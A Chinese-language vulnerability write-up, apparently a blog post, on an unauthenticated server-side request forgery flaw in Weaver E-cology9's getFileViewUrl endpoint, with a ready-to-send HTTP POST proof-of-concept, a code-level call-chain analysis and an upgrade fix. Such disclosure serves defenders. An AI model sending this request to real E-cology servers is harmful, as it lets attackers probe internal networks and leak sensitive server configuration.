前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布

UzzzzZ

作者头像
UzJu@菜菜狗
发布2024-07-12 09:30:29
710
发布2024-07-12 09:30:29
举报
文章被收录于专栏:UzJu和菜菜狗

漏洞描述

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileViewUrl 接口处存在服务器请求伪造漏洞,未经身份验证的远程攻击者利用此漏洞扫描服务器所在的内网或本地端口,获取服务的banner信息,窥探网络结构,甚至对内网或本地运行的应用程序发起攻击,获取服务器内部敏感配置,造成信息泄露。

影响泛微

  • 上海泛微网络科技股份有限公司-泛微协同管理应用平台 E-cology9
    • 已复现版本: 2303.02

漏洞复现

poc

代码语言:javascript
复制
{"file_id":"1",
"file_name":"1",
"download_url":"xxxx poc url",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}
代码语言:javascript
复制
POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: 
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin:
Connection: keep-alive
Cookie: 
Priority: u=4
Content-Length: 135

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

漏洞分析

com.api.doc.mobile.fileview.web.FileViewAction#getFileViewUrl

把JSON转为Map后,给到Execute com.api.doc.mobile.fileview.cmd.FileViewCmd#execute

其中获取的DownloadUrl,就直接通过Map获取,给到null2String3 下面主要是判断Prop下的一些配置

需要满足第一个if,需要配置中的数字为1

我这边都没有配置,所以会走下面的else,不管这里走哪个分支,都可以到对应的Sink,造成SSRF

s3这个参数是我们的可控污点。 com.api.doc.mobile.fileview.cmd.FileViewCmd#getSocialFileViewUrlForYz(java.lang.String, java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

0,1,参数不为空的情况下,则会进入这里的流程。 com.api.doc.detail.util.ImageConvertUtil#doConvertForSocial(java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

我们进入com.api.doc.detail.util.ImageConvertUtil#doConvert

在这里获取了map中的filedownloadUrl,并调用com.api.doc.detail.util.ImageConvertUtil#downloadUrl

如果上述配置是1的情况下 在com.api.doc.mobile.fileview.cmd.FileViewCmd#execute进入

调用链路可能就短一点了。

修复方案

1、升级泛微版本

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞描述
  • 影响泛微
  • 漏洞复现
  • 漏洞分析
  • 修复方案
相关产品与服务
项目管理
CODING 项目管理(CODING Project Management,CODING-PM)工具包含迭代管理、需求管理、任务管理、缺陷管理、文件/wiki 等功能,适用于研发团队进行项目管理或敏捷开发实践。结合敏捷研发理念,帮助您对产品进行迭代规划,让每个迭代中的需求、任务、缺陷无障碍沟通流转, 让项目开发过程风险可控,达到可持续性快速迭代。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档